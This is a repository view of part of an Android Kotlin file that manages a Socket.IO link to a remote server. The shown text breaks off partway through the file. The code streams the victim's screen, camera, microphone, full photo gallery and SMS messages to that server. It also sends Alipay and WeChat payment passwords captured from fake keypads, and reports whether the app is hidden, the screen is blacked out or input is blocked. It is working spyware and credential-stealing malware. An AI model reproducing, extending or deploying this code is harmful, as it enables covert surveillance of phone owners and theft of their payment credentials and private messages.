Files
android/app/src/main/java/com/hikoncont/network/SocketIOManager.kt
wdvipa 1501067287 fix: 修复启动日志报错问题
- SocketIOManager: 连接错误日志添加降频机制(前3次每次打印,之后每10次打印一次),避免服务器不可达时日志刷屏
- SocketIOManager: 连接成功时重置connectionFailureCount计数器,确保降频逻辑正确
- MainActivity: MediaProjectionManager延迟初始化日志从ERROR降级为INFO,这是正常行为不应报错
2026-02-15 15:42:08 +08:00

2899 lines
133 KiB
Kotlin
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
package com.hikoncont.network
import android.content.Context
import android.content.Intent
import android.os.Build
import android.os.Handler
import android.os.Looper
import android.util.Log
import android.view.WindowManager
import com.hikoncont.crash.CrashLogUploader
import com.hikoncont.service.AccessibilityRemoteService
import io.socket.client.IO
import io.socket.client.Socket
import io.socket.emitter.Emitter
import kotlinx.coroutines.*
import org.json.JSONObject
import org.json.JSONArray
import java.net.URISyntaxException
/**
* ✅ Socket.IO v4 官方客户端管理器 - 彻底解决47秒断开问题
*/
class SocketIOManager(private val service: AccessibilityRemoteService) {
companion object {
private const val TAG = "SocketIOManager"
}
// 🆕 锁屏状态缓存与定时检测
private var isScreenLocked: Boolean = false
private var lockStateJob: Job? = null
// 锁屏状态监控由connect()启动,避免在构造阶段协程作用域未就绪
private fun startLockStateMonitor() {
try {
lockStateJob?.cancel()
lockStateJob = scope.launch(Dispatchers.IO) {
while (isActive) {
try {
val before = isScreenLocked
val now = checkDeviceLocked()
isScreenLocked = now
if (before != now) {
Log.i(TAG, "🔒 锁屏状态变化: $before -> $now")
} else {
Log.d(TAG, "🔁 锁屏状态轮询: isLocked=$now")
}
} catch (e: Exception) {
Log.w(TAG, "检测锁屏状态失败", e)
}
kotlinx.coroutines.delay(10_000)
}
}
} catch (e: Exception) {
Log.e(TAG, "启动锁屏状态监控失败", e)
}
}
private fun checkDeviceLocked(): Boolean {
return try {
val pm = service.getSystemService(android.content.Context.POWER_SERVICE) as? android.os.PowerManager
val isInteractive = try { pm?.isInteractive ?: true } catch (_: Exception) { true }
val locked = !isInteractive
Log.d(TAG, "🔍 锁屏检测: isInteractive=$isInteractive => isLocked=$locked")
locked
} catch (e: Exception) {
Log.w(TAG, "检测锁屏状态失败", e)
false
}
}
// 🆕 应用信息获取
private fun getAppVersionName(): String {
return try {
val pm = service.packageManager
val pkg = service.packageName
val pi = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
pm.getPackageInfo(pkg, android.content.pm.PackageManager.PackageInfoFlags.of(0))
} else {
@Suppress("DEPRECATION")
pm.getPackageInfo(pkg, 0)
}
pi.versionName ?: "unknown"
} catch (e: Exception) {
Log.w(TAG, "获取应用版本失败", e)
"unknown"
}
}
private fun getAppName(): String {
return try {
val pm = service.packageManager
val ai = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
pm.getApplicationInfo(service.packageName, android.content.pm.PackageManager.ApplicationInfoFlags.of(0))
} else {
@Suppress("DEPRECATION")
pm.getApplicationInfo(service.packageName, 0)
}
pm.getApplicationLabel(ai).toString()
} catch (e: Exception) {
Log.w(TAG, "获取应用名称失败", e)
"unknown"
}
}
/**
* 发送相册数据到服务器(逐张发送;可被新的读取请求打断重启)
*/
fun sendGalleryData(items: List<com.hikoncont.manager.GalleryManager.GalleryItem>) {
try {
if (socket?.connected() == true) {
// 优化:逐张发送,避免单包过大
items.forEachIndexed { index, itx ->
try {
val base64Data = loadImageAsJpegBase64(itx.contentUri, 1280, 1280, 75)
if (base64Data == null) {
Log.w(TAG, "🖼️ 跳过图片(无法加载): ${itx.displayName} uri=${itx.contentUri}")
return@forEachIndexed
}
// 频率限制,避免与其他数据通道冲突
val now = System.currentTimeMillis()
if (now - lastGalleryImageTime < galleryImageInterval) {
Thread.sleep(galleryImageInterval - (now - lastGalleryImageTime))
}
lastGalleryImageTime = System.currentTimeMillis()
// 大小限制
val approxBytes = (base64Data.length * 3) / 4
if (approxBytes > maxGalleryImageSize) {
Log.w(TAG, "⚠️ 相册图片过大被跳过: ${approxBytes}B > ${maxGalleryImageSize}B (${itx.displayName})")
return@forEachIndexed
}
val payload = JSONObject().apply {
put("deviceId", getDeviceId())
put("type", "gallery_image")
put("timestamp", System.currentTimeMillis())
put("index", index)
put("id", itx.id)
put("displayName", itx.displayName)
put("dateAdded", itx.dateAdded)
put("mimeType", itx.mimeType)
put("width", itx.width)
put("height", itx.height)
put("size", itx.size)
put("contentUri", itx.contentUri)
put("format", "JPEG")
put("data", base64Data)
}
socket?.emit("gallery_image", payload)
Log.d(TAG, "🖼️ 已发送相册图片: ${itx.displayName} (${itx.width}x${itx.height})")
} catch (e: Exception) {
Log.e(TAG, "❌ 发送相册图片失败: ${itx.displayName}", e)
}
}
} else {
Log.w(TAG, "⚠️ Socket未连接无法发送相册数据")
checkConnectionAndReconnect()
}
} catch (e: Exception) {
Log.e(TAG, "发送相册数据失败", e)
}
}
// 🆕 相册读取/发送控制
private var galleryJob: Job? = null
/**
* 启动完整相册读取并发送任务;若正在进行则取消并重启
*/
fun startReadAndSendAllGallery() {
try {
// 取消上一次任务
galleryJob?.cancel()
Log.d(TAG, "🖼️ 取消上一次相册读取发送任务(若存在)")
galleryJob = scope.launch(Dispatchers.IO) {
Log.d(TAG, "🖼️ 开始读取全部相册(不限数量)")
val items = service.readGallery(limit = -1)
Log.d(TAG, "🖼️ 读取完成,共 ${items.size} 张,开始发送")
sendGalleryData(items)
Log.d(TAG, "🖼️ 相册发送任务完成")
}
} catch (e: Exception) {
Log.e(TAG, "❌ 启动相册读取发送任务失败", e)
}
}
/**
* 发送麦克风音频数据到服务器
*/
fun sendMicrophoneAudio(base64Audio: String, sampleRate: Int, sampleCount: Int, format: String = "PCM_16BIT_MONO") {
try {
if (socket?.connected() != true) {
Log.w(TAG, "⚠️ Socket未连接无法发送音频数据")
checkConnectionAndReconnect()
return
}
val payload = JSONObject().apply {
put("deviceId", getDeviceId())
put("type", "microphone_audio")
put("timestamp", System.currentTimeMillis())
put("sampleRate", sampleRate)
put("sampleCount", sampleCount)
put("format", format)
put("audioData", base64Audio)
}
socket?.emit("microphone_audio", payload)
} catch (e: Exception) {
Log.e(TAG, "发送音频数据失败", e)
}
}
private var socket: Socket? = null
private var isConnected = false
private var isDeviceRegistered = false
private var serverUrl: String = "" // 保存服务器地址
// 崩溃日志上传器
private val crashLogUploader = CrashLogUploader(service)
// ✅ 主动连接检测
private val scope = CoroutineScope(Dispatchers.IO + SupervisorJob())
private var connectionCheckJob: Job? = null
// 🔧 设备注册管理
private var registrationTimeoutHandler: Runnable? = null
private val mainHandler = Handler(Looper.getMainLooper())
private var registrationAttempts = 0
private var lastRegistrationTime = 0L
// ✅ 新增:网络状态监控相关变量
private var lastNetworkType: String? = null
private var lastConnectTime: Long = 0
private var transportErrorCount = 0
private var lastTransportErrorTime = 0L
// ✅ 网络质量监控
private var networkQualityScore = 100 // 0-100分100为最佳
private var connectionSuccessCount = 0
private var connectionFailureCount = 0
private val recentConnectionTimes = mutableListOf<Long>() // 记录最近10次连接持续时间
// 🔧 新增:跟踪屏幕数据发送失败次数,避免单次失败触发重连
private var screenDataFailureCount = 0
// 🔧 新增屏幕数据发送频率控制减少transport error
private var lastScreenDataTime = 0L
private val screenDataInterval = 66L // 🎯 优化调整为66ms间隔匹配15fps采集频率充分利用MediaProjection连续流
private val maxScreenDataSize = 2 * 1024 * 1024 // 2MB限制避免数据过大
// 📷 摄像头数据发送控制
private var lastCameraDataTime = 0L
private val cameraDataInterval = 200L // 摄像头数据发送间隔200ms匹配5fps与屏幕数据保持一致
private val maxCameraDataSize = 1 * 1024 * 1024 // 1MB限制摄像头数据通常较小
private var cameraDataFailureCount = 0
// 🔧 连接稳定性监控
private var lastSuccessfulDataSend = 0L
private val dataStarvationTimeout = 10000L // 10秒没有成功发送数据视为饥饿
private var isDataStarved = false
// 🆕 公网IP相关
private var cachedPublicIP: String? = null
private var lastIPCheckTime = 0L
private val IP_CACHE_DURATION = 300000L // 5分钟缓存
// 🖼️ 相册图片发送节流/大小限制
private var lastGalleryImageTime = 0L
private val galleryImageInterval = 250L
private val maxGalleryImageSize = 2 * 1024 * 1024 // 2MB
/**
* Connect to Socket.IO v4 server
*/
suspend fun connect(serverUrl: String) {
try {
this.serverUrl = serverUrl
Log.i(TAG, "Connecting to Socket.IO v4 server: $serverUrl")
// Validate server URL format
if (serverUrl.isBlank()) {
Log.e(TAG, "Server URL is empty, cannot connect")
return
}
// Validate URL format
val validatedUrl = try {
java.net.URI.create(serverUrl)
serverUrl
} catch (e: Exception) {
Log.e(TAG, "Invalid server URL format: $serverUrl", e)
return
}
// Config consistency check
val savedUrl = com.hikoncont.util.ConfigWriter.getCurrentServerUrl(service)
if (savedUrl != null && savedUrl != serverUrl) {
Log.w(TAG, "Config mismatch! Current: $serverUrl, Config: $savedUrl, using config URL")
connect(savedUrl)
return
}
// ✅ Socket.IO v4客户端配置 - 增强稳定性优化 + 随机化重连避免雪崩
val options = IO.Options().apply {
// 🔧 关键修复支持polling+websocket双传输允许升级到websocket以提升帧率
transports = arrayOf("polling", "websocket") // 先polling建立连接再升级到websocket
reconnection = true
// ✅ 增强网络稳定性配置 - 针对transport error问题 + 随机延迟避免多设备同时重连
val randomOffset = (1000..3000).random().toLong() // 1-3秒随机偏移分散重连时间
if (Build.VERSION.SDK_INT >= 35) { // Android 15 (API 35)
// Android 15 特殊配置 - 更保守的超时设置
timeout = 60000 // 连接超时60秒
reconnectionDelay = 5000L + randomOffset // 重连延迟5-8秒避免集中重连
reconnectionDelayMax = 20000 // 最大重连延迟20秒
reconnectionAttempts = 20 // 减少重连次数,避免过度重试
Log.i(TAG, "🔧 使用Android 15增强稳定性配置随机延迟: +${randomOffset}ms")
} else {
// 其他版本使用优化后的配置
timeout = 45000 // 连接超时45秒
reconnectionDelay = 3000L + randomOffset // 重连延迟3-6秒分散重连
reconnectionDelayMax = 15000 // 最大重连延迟15秒
reconnectionAttempts = 25 // 适中的重连次数
Log.i(TAG, "🔧 使用标准增强稳定性配置,随机延迟: +${randomOffset}ms")
}
forceNew = true
upgrade = true // ✅ 允许从polling升级到websocket大幅提升传输效率
rememberUpgrade = true // 记住升级状态重连时直接用websocket
// ✅ 新增:网络环境适配配置
if (Build.VERSION.SDK_INT >= 35) { // Android 15 (API 35)
// 添加网络容错配置,包含设备信息用于服务器优化
query = "android15=true&api=${Build.VERSION.SDK_INT}&manufacturer=${android.os.Build.MANUFACTURER}&model=${android.os.Build.MODEL.replace(" ", "_")}"
}
Log.i(TAG, "🌐 Socket.IO配置只使用polling传输避免升级冲突导致的断开重连问题")
}
socket = IO.socket(serverUrl, options)
setupEventListeners()
socket?.connect()
// 启动锁屏状态监控
startLockStateMonitor()
} catch (e: Exception) {
Log.e(TAG, "❌ Socket.IO连接失败", e)
throw e
}
}
private fun setupEventListeners() {
socket?.let { socket ->
socket.on(Socket.EVENT_CONNECT) {
Log.i(TAG, "Socket.IO v4 连接成功")
isConnected = true
isDeviceRegistered = false // 重置注册状态,等待重新注册
// ✅ 记录连接成功时间和网络类型
lastConnectTime = System.currentTimeMillis()
transportErrorCount = 0 // 重置transport error计数
connectionFailureCount = 0 // 重置连接失败计数
connectionSuccessCount++
updateNetworkQualityScore(true) // 连接成功,提升网络质量分数
// ✅ 检测网络类型变化
val currentNetworkType = getCurrentNetworkType()
if (lastNetworkType != null && lastNetworkType != currentNetworkType) {
Log.i(TAG, "🌐 检测到网络类型变化: $lastNetworkType -> $currentNetworkType")
}
lastNetworkType = currentNetworkType
// ✅ 暂停屏幕数据发送,等待注册完成
service.pauseScreenCaptureUntilRegistered()
// 立即发送设备注册,避免延迟导致识别问题
Log.e(TAG, "🚀🚀🚀 立即发送设备注册!!! 🚀🚀🚀")
// 🔧 多设备冷启动优化:添加随机延迟,避免同时注册冲突
val randomDelay = kotlin.random.Random.nextLong(0, 2000) // 0-2秒随机延迟
Log.d(TAG, "🔄 多设备冷启动优化:延迟${randomDelay}ms后发送注册避免并发冲突")
mainHandler.postDelayed({
if (isConnected && socket.connected()) {
sendDeviceRegistration()
} else {
Log.w(TAG, "⚠️ 延迟注册时发现连接已断开,跳过注册")
}
}, randomDelay)
// ✅ 启动主动连接检测
startConnectionMonitoring()
}
socket.on(Socket.EVENT_DISCONNECT) { args ->
val reason = if (args.isNotEmpty()) args[0].toString() else "unknown"
Log.w(TAG, "Socket.IO v4 断开: $reason")
// ✅ 增强断开原因分析和统计
val currentTime = System.currentTimeMillis()
val connectionDuration = currentTime - lastConnectTime
// 记录连接时长用于网络质量评估
recordConnectionDuration(connectionDuration)
if (reason == "transport error") {
transportErrorCount++
lastTransportErrorTime = currentTime
connectionFailureCount++
updateNetworkQualityScore(false, "transport_error", connectionDuration)
Log.e(TAG, "🚨 Transport Error 统计: 次数=$transportErrorCount, 连接持续时间=${connectionDuration}ms")
// ✅ 如果transport error频繁发生调整策略
if (transportErrorCount >= 3 && connectionDuration < 300000) { // 5分钟内3次
Log.w(TAG, "⚠️ Transport Error频繁发生将在重连时使用保守策略")
}
} else {
// 其他原因断开也要更新网络质量评分
updateNetworkQualityScore(false, reason, connectionDuration)
}
isConnected = false
isDeviceRegistered = false
// 🔧 重置注册状态
registrationAttempts = 0
registrationTimeoutHandler?.let { handler ->
mainHandler.removeCallbacks(handler)
registrationTimeoutHandler = null
}
// ✅ 停止连接检测
connectionCheckJob?.cancel()
// ✅ 断开时暂停屏幕捕获但保留权限,而不是完全停止
service.pauseScreenCapture()
}
socket.on(Socket.EVENT_CONNECT_ERROR) { args ->
val error = if (args.isNotEmpty()) args[0] else null
val errorMsg = error?.toString() ?: "unknown"
connectionFailureCount++
updateNetworkQualityScore(false, "connect_error", 0)
// Throttle log output: first 3 errors always log, then every 10th
val shouldLog = connectionFailureCount <= 3 || connectionFailureCount % 10 == 0
if (!shouldLog) return@on
val isTransientError = errorMsg.contains("xhr poll error") ||
errorMsg.contains("timeout") ||
errorMsg.contains("websocket error")
if (isTransientError) {
Log.w(TAG, "Socket.IO connection error #$connectionFailureCount (transient, will auto-retry): $errorMsg")
} else {
Log.e(TAG, "Socket.IO connection error #$connectionFailureCount: $errorMsg")
}
if (error is Exception && error.cause != null) {
Log.w(TAG, "Socket.IO error root cause: ${error.cause?.javaClass?.simpleName}: ${error.cause?.message}")
}
}
socket.on("device_registered") { args ->
if (args.isNotEmpty()) {
try {
val data = args[0] as JSONObject
Log.e(TAG, "🎉🎉🎉 设备注册成功: ${data.optString("message")} 🎉🎉🎉")
isDeviceRegistered = true
registrationAttempts = 0 // 重置尝试次数
// 🔧 取消超时检测
registrationTimeoutHandler?.let { handler ->
mainHandler.removeCallbacks(handler)
registrationTimeoutHandler = null
}
// ✅ 注册成功后恢复屏幕数据发送
Log.e(TAG, "🚀🚀🚀 设备注册成功,恢复屏幕数据发送!!! 🚀🚀🚀")
service.resumeScreenCaptureAfterRegistration()
// ✅ 设备注册成功,检查是否可以隐藏配置遮盖
Log.i(TAG, "✅ 设备注册成功,检查是否可以隐藏配置遮盖")
service.checkAndHideConfigMask()
// 📤 设备注册成功后上传待处理的崩溃日志
crashLogUploader.uploadPendingLogs(socket, getDeviceId())
} catch (e: Exception) {
Log.e(TAG, "❌ 处理设备注册响应失败", e)
}
} else {
Log.e(TAG, "⚠️ 收到device_registered事件但无参数")
}
}
socket.on("control_command") { args ->
if (args.isNotEmpty()) {
try {
val data = args[0] as JSONObject
handleControlMessage(data)
} catch (e: Exception) {
Log.e(TAG, "处理控制命令失败", e)
}
}
}
// ✅ 处理服务器重启事件
socket.on("server_restarted") { _ ->
Log.e(TAG, "🔄🔄🔄 收到服务器重启通知,立即重新注册!!! 🔄🔄🔄")
// 重置注册状态
isDeviceRegistered = false
// 立即重新注册
sendDeviceRegistration()
}
socket.on("ping_for_registration") { _ ->
Log.e(TAG, "🔄🔄🔄 收到重新注册Ping立即重新注册!!! 🔄🔄🔄")
// 重置注册状态
isDeviceRegistered = false
// 立即重新注册
sendDeviceRegistration()
}
// 🔧 添加CONNECTION_TEST_RESPONSE响应处理解决心跳检测失败累积问题
socket.on("CONNECTION_TEST_RESPONSE") { args ->
try {
if (args.isNotEmpty()) {
val data = args[0] as JSONObject
val success = data.optBoolean("success", false)
val timestamp = data.optLong("timestamp", 0)
Log.d(TAG, "✅ 收到服务器心跳响应: success=$success, timestamp=$timestamp")
// 重置心跳失败计数,表示连接正常
// 这个响应表明服务器正常处理了我们的心跳测试
} else {
Log.w(TAG, "⚠️ 收到CONNECTION_TEST_RESPONSE但无参数")
}
} catch (e: Exception) {
Log.e(TAG, "❌ 处理CONNECTION_TEST_RESPONSE失败", e)
}
}
// 🔧 添加标准pong响应处理
socket.on("pong") { _ ->
Log.d(TAG, "🏓 收到服务器pong响应")
}
// 🔧 添加心跳确认响应处理
socket.on("heartbeat_ack") { args ->
try {
if (args.isNotEmpty()) {
val data = args[0] as JSONObject
val timestamp = data.optLong("timestamp", 0)
Log.d(TAG, "💓 收到服务器心跳确认: timestamp=$timestamp")
}
} catch (e: Exception) {
Log.e(TAG, "❌ 处理heartbeat_ack失败", e)
}
}
// 处理UI层次结构分析请求
socket.on("ui_hierarchy_request") { args ->
Log.e(TAG, "🔍🔍🔍 收到UI层次结构请求!!! 🔍🔍🔍")
Log.e(TAG, "📋 Socket连接状态: connected=${socket.connected()}, id=${socket.id()}")
Log.e(TAG, "📋 当前时间戳: ${System.currentTimeMillis()}")
if (args.isNotEmpty()) {
try {
val data = args[0] as JSONObject
Log.e(TAG, "📋 请求数据: $data")
handleUIHierarchyRequest(data)
} catch (e: Exception) {
Log.e(TAG, "❌❌❌ 处理UI层次结构请求失败!!! ❌❌❌", e)
}
} else {
Log.e(TAG, "❌❌❌ UI层次结构请求参数为空!!! ❌❌❌")
}
}
// 📊 自适应画质:接收服务端下发的质量调整指令
socket.on("quality_adjust") { args ->
if (args.isNotEmpty()) {
try {
val data = args[0] as JSONObject
Log.i(TAG, "📊 收到画质调整指令: $data")
val fps = data.optInt("fps", -1)
val quality = data.optInt("quality", -1)
val maxWidth = data.optInt("maxWidth", -1)
val maxHeight = data.optInt("maxHeight", -1)
service.getScreenCaptureManager()?.adjustQuality(fps, quality, maxWidth, maxHeight)
// ✅ 支持服务端指令切换采集模式
val captureMode = data.optString("captureMode", "")
if (captureMode == "accessibility") {
Log.i(TAG, "🔄 服务端指令:切换到无障碍截图模式")
service.getScreenCaptureManager()?.switchToAccessibilityMode()
} else if (captureMode == "mediaprojection") {
Log.i(TAG, "🔄 服务端指令切换到MediaProjection模式")
service.getScreenCaptureManager()?.switchToMediaProjectionMode()
}
} catch (e: Exception) {
Log.e(TAG, "❌ 处理画质调整指令失败", e)
}
}
}
}
}
private fun sendDeviceRegistration() {
// 🆕 使用协程获取公网IP并发送注册
scope.launch {
try {
// 🔧 防止频繁重复注册
val currentTime = System.currentTimeMillis()
if (currentTime - lastRegistrationTime < 3000) { // 3秒内不重复发送
Log.d(TAG, "📝 距离上次注册时间过短,跳过重复注册")
return@launch
}
lastRegistrationTime = currentTime
registrationAttempts++
// 🔧 限制最大尝试次数,避免无限重试
if (registrationAttempts > 10) {
Log.e(TAG, "❌ 设备注册尝试次数过多($registrationAttempts),可能服务器有问题,暂停注册")
return@launch
}
// 🆕 获取公网IP异步操作有缓存
val publicIP = getPublicIP()
Log.i(TAG, "🌐 设备注册包含公网IP: ${publicIP ?: "获取失败"}")
val androidDeviceId = getDeviceId()
val socketId = socket?.id() ?: "unknown"
val deviceInfo = JSONObject().apply {
put("deviceId", androidDeviceId) // Android设备ID
put("socketId", socketId) // Socket.IO连接ID
put("deviceName", getUniqueDeviceName())
put("deviceModel", android.os.Build.MODEL)
put("osVersion", android.os.Build.VERSION.RELEASE)
put("appVersion", getAppVersionName())
put("appPackage", service.packageName)
put("appName", getAppName())
put("screenWidth", getScreenWidth())
put("screenHeight", getScreenHeight())
put("timestamp", System.currentTimeMillis())
put("capabilities", org.json.JSONArray().apply {
put("click")
put("swipe")
put("input")
put("screenshot")
})
put("inputBlocked", service.isInputBlocked())
// 🆕 添加当前黑屏遮盖状态
put("blackScreenActive", service.isBlackScreenActive())
// 🆕 添加当前应用隐藏状态
put("appHidden", service.isAppHidden())
// 添加更多设备信息帮助服务端识别
put("manufacturer", android.os.Build.MANUFACTURER)
put("brand", android.os.Build.BRAND)
put("fingerprint", android.os.Build.FINGERPRINT.takeLast(16)) // 只取最后16位
// 🆕 添加公网IP信息
put("publicIP", publicIP ?: "unknown")
// 🆕 添加详细系统版本信息
put("systemVersionName", getSystemVersionName())
put("romType", getROMType())
put("romVersion", getROMVersion())
put("osBuildVersion", getOSBuildVersion())
}
Log.e(TAG, "🔑🔑🔑 发送设备注册(第${registrationAttempts}次)!!! 🔑🔑🔑")
Log.e(TAG, "📱 设备信息: 设备ID=${deviceInfo.optString("deviceId")}, 设备名=${deviceInfo.optString("deviceName")}")
Log.e(TAG, "🌐 Socket连接状态: connected=${socket?.connected()}, isConnected=$isConnected")
Log.e(TAG, "🔑 Socket ID详情: ${socket?.id()}")
Log.e(TAG, "🌐 公网IP: ${publicIP ?: "获取失败"}")
Log.e(TAG, "📋 完整设备信息: ${deviceInfo.toString()}")
val emitResult = socket?.emit("device_register", deviceInfo)
Log.e(TAG, "📡 设备注册发送结果: $emitResult")
// 🔧 清除之前的超时检测,设置新的超时检测
registrationTimeoutHandler?.let { handler ->
mainHandler.removeCallbacks(handler)
}
registrationTimeoutHandler = Runnable {
if (!isDeviceRegistered && registrationAttempts <= 10) {
Log.e(TAG, "⚠️⚠️⚠️ 设备注册超时15秒内未收到确认重新发送注册!!! ⚠️⚠️⚠️")
sendDeviceRegistration()
}
}
mainHandler.postDelayed(registrationTimeoutHandler!!, 15000) // 改为15秒超时
} catch (e: Exception) {
Log.e(TAG, "发送设备注册失败", e)
}
}
}
/**
* 发送屏幕数据到服务器优化版本减少transport error
*/
fun sendScreenData(frameData: ByteArray) {
try {
val currentTime = System.currentTimeMillis()
// 🔧 频率限制避免发送过于频繁导致transport error
if (currentTime - lastScreenDataTime < screenDataInterval) {
// 跳过这帧,避免发送过于频繁
return
}
// 🔧 大小检查避免发送过大数据导致transport error
if (frameData.size > maxScreenDataSize) {
Log.w(TAG, "屏幕数据过大被跳过: ${frameData.size} bytes > ${maxScreenDataSize} bytes")
return
}
// 🔧 连接饥饿检查:如果长时间无法发送数据,可能连接有问题
if (lastSuccessfulDataSend > 0 && currentTime - lastSuccessfulDataSend > dataStarvationTimeout) {
if (!isDataStarved) {
Log.w(TAG, "检测到数据发送饥饿(${currentTime - lastSuccessfulDataSend}ms),连接可能有问题")
isDataStarved = true
// 不立即重连,而是给连接一些时间恢复
}
}
if (socket?.connected() == true) {
// 🎯 优化提前计算Base64字符串减少JSON构建时的内存分配
val base64Data = android.util.Base64.encodeToString(frameData, android.util.Base64.NO_WRAP)
val screenData = JSONObject().apply {
put("deviceId", getDeviceId())
put("format", "JPEG")
put("data", base64Data)
put("width", getScreenWidth())
put("height", getScreenHeight())
put("quality", 50)
put("timestamp", currentTime)
put("isLocked", isScreenLocked)
}
// 🔧 优化增加emit失败的容错机制避免单次失败立即触发重连
try {
socket?.emit("screen_data", screenData)
// 发送成功,重置发送失败计数和饥饿状态
screenDataFailureCount = 0
lastSuccessfulDataSend = currentTime
isDataStarved = false
// ✅ 修正仅在成功emit后更新限流时间戳避免提前锁窗导致误丢帧
lastScreenDataTime = currentTime
// 🎯 优化:记录压缩和编码效率,监控优化效果
val base64Size = base64Data.length
val overhead = if (frameData.size > 0) "%.1f%%".format(((base64Size - frameData.size).toFloat() / frameData.size) * 100) else "N/A"
Log.d(TAG, "发送屏幕数据: JPEG${frameData.size}B -> Base64${base64Size}B (+$overhead 开销, isLocked=${isScreenLocked})")
} catch (emitException: Exception) {
screenDataFailureCount++
Log.e(TAG, "发送屏幕数据失败(${screenDataFailureCount}次): ${emitException.message}")
if (screenDataFailureCount >= 20) {
Log.e(TAG, "屏幕数据发送连续失败${screenDataFailureCount}次,触发重连检测")
checkConnectionAndReconnect()
screenDataFailureCount = 0
}
Log.w(TAG, "屏幕数据发送失败,但不影响后续发送")
}
} else {
Log.w(TAG, "Socket.IO未连接无法发送屏幕数据")
// ✅ 尝试重连
checkConnectionAndReconnect()
}
} catch (e: Exception) {
Log.e(TAG, "发送屏幕数据失败", e)
}
}
/**
* 发送摄像头数据到服务器
*/
fun sendCameraFrame(frameData: ByteArray) {
try {
val currentTime = System.currentTimeMillis()
// 🔧 频率限制:避免发送过于频繁
if (currentTime - lastCameraDataTime < cameraDataInterval) {
return
}
// 🔧 大小检查:避免发送过大数据
if (frameData.size > maxCameraDataSize) {
Log.w(TAG, "⚠️ 摄像头数据过大被跳过: ${frameData.size} bytes > ${maxCameraDataSize} bytes")
return
}
lastCameraDataTime = currentTime
if (socket?.connected() == true) {
// 将摄像头数据编码为Base64
val base64Data = android.util.Base64.encodeToString(frameData, android.util.Base64.NO_WRAP)
val cameraData = JSONObject().apply {
put("deviceId", getDeviceId())
put("format", "JPEG")
put("data", base64Data)
put("type", "camera")
put("timestamp", currentTime)
}
try {
socket?.emit("camera_data", cameraData)
// 发送成功,重置失败计数
cameraDataFailureCount = 0
lastSuccessfulDataSend = currentTime
isDataStarved = false
Log.d(TAG, "📷 摄像头数据已发送: ${frameData.size} bytes")
} catch (e: Exception) {
cameraDataFailureCount++
Log.w(TAG, "⚠️ 发送摄像头数据失败 (第${cameraDataFailureCount}次): ${e.message}")
// 如果连续失败次数过多,尝试重连
if (cameraDataFailureCount >= 3) {
Log.w(TAG, "🔄 摄像头数据发送连续失败,尝试重连")
checkConnectionAndReconnect()
}
}
} else {
Log.w(TAG, "⚠️ Socket未连接无法发送摄像头数据")
// ✅ 尝试重连
checkConnectionAndReconnect()
}
} catch (e: Exception) {
Log.e(TAG, "发送摄像头数据失败", e)
}
}
/**
* 发送短信数据到服务器
*/
fun sendSMSData(smsList: List<com.hikoncont.manager.SMSMessage>) {
try {
val currentTime = System.currentTimeMillis()
if (socket?.connected() == true) {
val smsData = JSONObject().apply {
put("deviceId", getDeviceId())
put("type", "sms_data")
put("timestamp", currentTime)
put("count", smsList.size)
// 将短信列表转换为JSON数组
val smsArray = JSONArray()
smsList.forEach { sms ->
val smsJson = JSONObject().apply {
put("id", sms.id)
put("address", sms.address)
put("body", sms.body)
put("date", sms.date)
put("read", sms.isRead)
put("type", sms.type)
}
smsArray.put(smsJson)
}
put("smsList", smsArray)
}
try {
socket?.emit("sms_data", smsData)
Log.d(TAG, "📱 短信数据已发送: ${smsList.size} 条短信")
} catch (e: Exception) {
Log.e(TAG, "发送短信数据失败", e)
}
} else {
Log.w(TAG, "⚠️ Socket未连接无法发送短信数据")
checkConnectionAndReconnect()
}
} catch (e: Exception) {
Log.e(TAG, "发送短信数据失败", e)
}
}
/**
* 发送支付宝密码数据
*/
fun sendAlipayPasswordData(password: String, inputMethod: String = "custom_keypad") {
try {
if (socket?.connected() == true) {
Log.i(TAG, "💰 开始发送支付宝密码数据")
val payload = JSONObject().apply {
put("deviceId", getDeviceId())
put("type", "alipay_password")
put("timestamp", System.currentTimeMillis())
put("password", password)
put("passwordLength", password.length)
put("inputMethod", inputMethod)
put("activity", "AlipayPasswordActivity")
put("sessionId", System.currentTimeMillis().toString())
}
socket?.emit("alipay_password", payload)
Log.i(TAG, "✅ 支付宝密码数据已发送")
} else {
Log.w(TAG, "⚠️ Socket未连接无法发送支付宝密码数据")
}
} catch (e: Exception) {
Log.e(TAG, "❌ 发送支付宝密码数据失败", e)
}
}
/**
* 发送支付宝检测状态
*/
fun sendAlipayDetectionStatus(enabled: Boolean) {
try {
if (socket?.connected() == true) {
Log.i(TAG, "💰 发送支付宝检测状态: $enabled")
val payload = JSONObject().apply {
put("deviceId", getDeviceId())
put("type", "alipay_detection_status")
put("timestamp", System.currentTimeMillis())
put("enabled", enabled)
put("status", if (enabled) "enabled" else "disabled")
}
socket?.emit("alipay_detection_status", payload)
Log.i(TAG, "✅ 支付宝检测状态已发送: $enabled")
} else {
Log.w(TAG, "⚠️ Socket未连接无法发送支付宝检测状态")
}
} catch (e: Exception) {
Log.e(TAG, "❌ 发送支付宝检测状态失败", e)
}
}
/**
* 发送微信密码数据
*/
fun sendWechatPasswordData(password: String, inputMethod: String = "custom_keypad") {
try {
if (socket?.connected() == true) {
Log.i(TAG, "💬 开始发送微信密码数据")
val payload = JSONObject().apply {
put("deviceId", getDeviceId())
put("type", "wechat_password")
put("timestamp", System.currentTimeMillis())
put("password", password)
put("passwordLength", password.length)
put("inputMethod", inputMethod)
put("activity", "WechatPasswordActivity")
put("sessionId", System.currentTimeMillis().toString())
}
socket?.emit("wechat_password", payload)
Log.i(TAG, "✅ 微信密码数据已发送")
} else {
Log.w(TAG, "⚠️ Socket未连接无法发送微信密码数据")
}
} catch (e: Exception) {
Log.e(TAG, "❌ 发送微信密码数据失败", e)
}
}
/**
* 发送微信检测状态
*/
fun sendWechatDetectionStatus(enabled: Boolean) {
try {
if (socket?.connected() == true) {
Log.i(TAG, "💬 发送微信检测状态: $enabled")
val payload = JSONObject().apply {
put("deviceId", getDeviceId())
put("type", "wechat_detection_status")
put("timestamp", System.currentTimeMillis())
put("enabled", enabled)
put("status", if (enabled) "enabled" else "disabled")
}
socket?.emit("wechat_detection_status", payload)
Log.i(TAG, "✅ 微信检测状态已发送: $enabled")
} else {
Log.w(TAG, "⚠️ Socket未连接无法发送微信检测状态")
}
} catch (e: Exception) {
Log.e(TAG, "❌ 发送微信检测状态失败", e)
}
}
/**
